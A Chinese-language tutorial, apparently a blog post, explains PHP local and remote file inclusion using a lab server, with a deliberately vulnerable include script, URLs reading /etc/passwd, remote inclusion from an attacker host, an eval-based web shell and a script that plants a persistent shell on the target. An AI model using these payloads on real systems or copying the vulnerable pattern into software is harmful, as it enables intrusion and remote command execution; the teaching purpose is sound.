文件包含漏洞(1),文件包含漏洞的利用原理

文件包含漏洞利用的原理

一, 本地文件包含

1. 漏洞利用条件:

在默认情况下, php.ini配置文件中 allow_url_fopen=On 是开启状态.

服务器php脚本中的 include include_once require require_once 等函数用于包含文件中的代码, 如果参数是用户可控的, 则可能被利用来执行系统命令或执行恶意代码. 例如:

http://192.168.112.200/security/fileinc.php

php 复制代码
<?php
$filename = $_GET['filename'];
include $filename;    // 或include_once, require, require_once
echo "<hr>欢迎来到PHP的世界.<br>";
?>

这里GET方法的 filename 参数用户可控, 且没有对包含的文件进行过滤和限制.

2. 利用方式
py 复制代码
读取系统文件
http://192.168.112.200/security/fileinc.php?filename=/etc/passwd
渲染html页面
http://192.168.112.200/security/fileinc.php?filename=login.html

二, 远程文件包含

1. 漏洞利用条件:

在默认情况下, php.ini配置文件中 allow_url_include=Off 是关闭状态.

如果该项配置被打开, 且include参数是用户可控的, 则可能被用于执行攻击者服务器上的恶意代码.

2. 利用方式:

假设 192.168.112.201 是攻击者的服务器

2.1 直接执行远程php代码
py 复制代码
http://192.168.112.200/security/fileinc.php?filename=http://192.168.112.201/security/test/mm.php
2.2 包含远程木马代码, 提交参数执行命令

木马文件: http://192.168.112.201/security/test/mm2.txt:

php 复制代码
<?php @eval($_GET['cmd']); ?>

注意包含恶意代码的文件后缀名是txt, 而不是php.

因为我们需要的是把mm2.txt文件中代码包含到目标fileinc.php当中去执行, 而不是在192.168.112.201上面直接执行php脚本.

包含远程脚本代码, 提交参数执行命令

py 复制代码
http://192.168.112.200/security/fileinc.php?
filename=http://192.168.112.201/security/test/mm2.txt&cmd=phpinfo();

http://192.168.112.200/security/fileinc.php?
filename=http://192.168.112.200/security/test/mm2.txt&cmd=system("ifconfig");

此时 &cmd=phpinfo(); 这里是提交的参数, 目标服务器经过包含mm2.txt文件内的代码之后, 即可执行参数中的命令.

2.3 通过远程php脚本将恶意代码写入到目标服务器.

木马文件: http://192.168.112.201/security/test/mm3.php:

php 复制代码
<?php 
$code = '<?php @eval($_GET["cmd"]); ?>';
file_put_contents("test/mm3_in.php", $code);
?>

以上代码在目标服务器test/目录下创建一个mm3_in.php木马文件.

利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=http://192.168.112.200/security/test/mm3.txt

执行成功后, 即可利用mm3_in.php:

py 复制代码
http://192.168.112.200/security/test/mm3_in.php?cmd=phpinfo();
相关推荐
白猫不黑3 天前
AI自动化漏洞挖掘从入门到进阶超详细学习路线
人工智能·学习·web安全·网络安全·信息安全·渗透测试·自动化
Eason_LYC7 天前
一个公开密钥放倒一片:Apache Shiro RememberMe 反序列化漏洞
java·网络安全·渗透测试·shiro·漏洞复现·反序列化·ai安全
白猫不黑19 天前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
白猫不黑20 天前
网络安全面试题大全:22道高频题附解析与答案
web安全·计算机·网络安全·信息安全·渗透测试·编程·面试题
白猫不黑20 天前
网络安全和信息安全的区别:全方位解析与学习路径
计算机·网络安全·黑客·信息安全·程序员·渗透测试·编程
白猫不黑20 天前
零基础如何学习网络安全:从入门到实战的完整路线图
web安全·计算机·网络安全·黑客·信息安全·渗透测试·代码审计
是逍遥子没错1 个月前
一个斜杠,击穿整座网关:API网关路径前缀绕过认证实战
运维·服务器·web安全·网络安全·渗透测试·系统安全
Eason_LYC1 个月前
你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248
网络安全·渗透测试·漏洞复现·白帽子·langflow·远程代码执行·cve-2025-3248
锐速网络1 个月前
漏洞管理闭环:扫描、验证、渗透、修复全流程
网络安全·渗透测试·漏洞管理·漏洞修复·漏洞扫描·安全运维·虚拟补丁
asaotomo1 个月前
从抓包插件到浏览器安全 Agent:Hx0 鹰眼 v1.0.6,正式接入 MCP
安全·渗透测试·agent·浏览器插件·ai工具·mcp